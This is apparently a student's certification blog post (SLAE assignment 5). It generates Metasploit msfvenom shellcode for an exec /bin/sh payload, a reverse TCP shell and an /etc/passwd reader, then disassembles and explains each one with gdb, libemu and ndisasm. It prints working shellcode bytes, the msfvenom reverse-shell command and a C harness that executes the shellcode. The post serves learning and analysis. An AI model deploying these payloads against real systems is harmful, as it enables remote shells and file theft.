SLAE: Msfpayload (msfvenom) Shellcode Analysis – Assignment 5

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Create three Linux x86 shellcode samples with msfpayload (deprecated, will use msfvenom) and analyze them.

Prestudy

Not much to it. We’ll need the Metasploit Framework and GDB, Ndisasm and Libemu.

Shellcode samples created:
* linux/x86/exec
* linux/x86/shell_reverse_tcp
* linux/x86/read_file

By the name of the different samples we can obviously guess the intended purpose of the shellcode, however, we do not actually know. So, let’s find out.

msfvenom & shellcode generation

The shellcode generation and their settings will look like this. Although the commands when analyzing might differ somewhat, so pay attention to that.

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -p, --payload                    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled                    Prepend a nopsled of [length] size on to the payload
    -f, --format                     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder                    The encoder to use
    -a, --arch                       The architecture to use
        --platform                   The platform of the payload
        --help-platforms             List available platforms
    -s, --space                      The maximum size of the resulting payload
        --encoder-space              The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars                  The list of characters to avoid example: '\x00\xff'
    -i, --iterations                 The number of times to encode the payload
    -c, --add-code                   Specify an additional win32 shellcode file to include
    -x, --template                   Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out                        Save the payload
    -v, --var-name                   Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

linux/x86/exec

msfvenom -p linux/x86/exec CMD=/bin/sh --arch x86 --platform linux -f c
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
Final size of c file: 205 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";

linux/x86/shell_reverse_tcp

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

linux/x86/read_file

msfvenom -p linux/x86/read_file PATH=/etc/passwd --arch x86 --platform linux -f c
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";

linux/x86/exec

Let’s take the generated shellcode, put it in our C-template and compile it.

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Compile like usual.

gcc -fno-stack-protector -zexecstack exec-shellcode.c -o exec

Time to analyze it with gdb. ; are comments made by me.

tmp@ubuntu:/home//SLAE/SLAE/SLAE5-MsfpayloadAnalysis$ gdb ./exec --quiet
Reading symbols from /home//SLAE/SLAE/SLAE5-MsfpayloadAnalysis/exec...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home//SLAE/SLAE/SLAE5-MsfpayloadAnalysis/exec
Shellcode Length:  15

Breakpoint 1, 0x0804a040 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>:     push   0xb				; push 0xb (11) onto stack
   0x0804a042 <+2>:     pop    eax				; pop 0xb into eax
   0x0804a043 <+3>:     cdq
   0x0804a044 <+4>:     push   edx				; push 0 onto stack 
   0x0804a045 <+5>:     pushw  0x632d				; push c- onto stack
   0x0804a049 <+9>:     mov    edi,esp				; move stack pointer to edi
   0x0804a04b <+11>:    push   0x68732f				; push hs/ onto stack			
   0x0804a050 <+16>:    push   0x6e69622f			; push nib/ onto stack
   0x0804a055 <+21>:    mov    ebx,esp				; move stack pointer to ebx
   0x0804a057 <+23>:    push   edx				; push 0 onto stack
   0x0804a058 <+24>:    call   0x804a065 <code+37>		; call address 0x804a065
<-- SNIPPET -->
   0x0804a067 <+39>:    mov    ecx,esp				; move stack pointer to ecx
   0x0804a069 <+41>:    int    0x80				; syscall
   0x0804a06b <+43>:    add    BYTE PTR [eax],al
End of assembler dump.
(gdb) break *0x0804a069						; set a bp prior to syscall
Breakpoint 2 at 0x804a069
(gdb) c
Continuing.

Breakpoint 2, 0x0804a069 in code ()
(gdb) disassemble
Dump of assembler code for function code:
   0x0804a040 <+0>:     push   0xb
   0x0804a042 <+2>:     pop    eax
   0x0804a043 <+3>:     cdq
   0x0804a044 <+4>:     push   edx
   0x0804a045 <+5>:     pushw  0x632d
   0x0804a049 <+9>:     mov    edi,esp
   0x0804a04b <+11>:    push   0x68732f
   0x0804a050 <+16>:    push   0x6e69622f
   0x0804a055 <+21>:    mov    ebx,esp
   0x0804a057 <+23>:    push   edx
   0x0804a058 <+24>:    call   0x804a065 <code+37>
<-- SNIPPET -->
   0x0804a067 <+39>:    mov    ecx,esp
=> 0x0804a069 <+41>:    int    0x80
   0x0804a06b <+43>:    add    BYTE PTR [eax],al
End of assembler dump.
(gdb) stepi							; execute the syscall
process 3813 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
$								; /bin/sh spawns!
$ exit
[Inferior 1 (process 3813) exited normally]
(gdb)

In the output above we can see push 0xb (decimal 11) and afterwards pop eax, this is the number of the syscall that will be executed. Let’s find out which syscall corresponds to 11!

grep 11 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve              11
man execve
<-- SNIPPET -->
int execve(const char *filename, char *const argv[], char *const envp[]);

This looks correct. Obviously this should be checked before actually executing the syscall. In the end though, as we suspected, this piece of shellcode does indeed execute /bin/sh as intended!

linux/x86/shell_reverse_tcp

Let’s use the tool sctest from libemu to analyze the reverse tcp shellcode.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | sctest -vvv -Ss 42
<-- SNIPPET -->
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 16777343 (host=127.0.0.1);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 => 
           = "//bin/sh";
     const char * argv[] = [
           = 0x00416f9e => 
               = 0x00416fa6 => 
                   = "//bin/sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

How cool is that? We can clearly see the different syscalls (socket, dup2, connect, execve) and their parameters. It matches up just nice to the previous reverse shell assignment. Reading the code it is easy to see what it does and where it connects and reassigns the input/output with dup2.

linux/x86/read_file

msfvenom -p linux/x86/read_file PATH=/etc/passwd --arch x86 --platform linux | ndisasm -u -
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes

00000000  EB36		jmp short 0x38		        ; jmp to address 0x38 (jmp, call, pop)
00000002  B805000000    mov eax,0x5			; 0x5 syscall = open
00000007  5B            pop ebx				; pop address of /etc/passwd into ebx
00000008  31C9          xor ecx,ecx			; zero ecx to open file as O_RDONLY
0000000A  CD80          int 0x80			; syscall int open(const char *pathname, int flags);
0000000C  89C3          mov ebx,eax			; move 5 into ebx (fd)
0000000E  B803000000    mov eax,0x3			; 0x3 syscall = read
00000013  89E7          mov edi,esp			; stack pointer into edi
00000015  89F9          mov ecx,edi			; stack pointer to ecx
00000017  BA00100000    mov edx,0x1000		        ; 0x1000 = 4096 
0000001C  CD80          int 0x80			; syscall ssize_t read(int fd, void *buf, size_t count);
0000001E  89C2          mov edx,eax			; size of read data
00000020  B804000000    mov eax,0x4			; 0x4 syscall = write
00000025  BB01000000    mov ebx,0x1			; stdout = 1 (our fd)
0000002A  CD80          int 0x80			; syscall ssize_t write(int fd, const void *buf, size_t count); 
0000002C  B801000000    mov eax,0x1			; 0x1 syscall = exit
00000031  BB00000000    mov ebx,0x0			; 0 exit/return code
00000036  CD80          int 0x80			; syscall  void exit(int status);
00000038  E8C5FFFFFF    call 0x2			; jmp up, putting next instruction on stack
0000003D  2F            das				; rest is /etc/passwd
0000003E  657463        gs jz 0xa4
00000041  2F            das
00000042  7061          jo 0xa5
00000044  7373          jnc 0xb9
00000046  7764          ja 0xac
00000048  00            db 0x00

This one is pretty straight forward. We can see four different syscalls (in order: open, read, write, exit) that gets executed with different parameters. The shellcode ends in outputting /etc/passwd in the terminal, if ran. To check the different syscall numbers please refer to /usr/include/i386-linux-gnu/asm/unistd_32.h or any online variation of it.

Github Links

Exec-shellcode.c
Msfvenom+output

Great Success!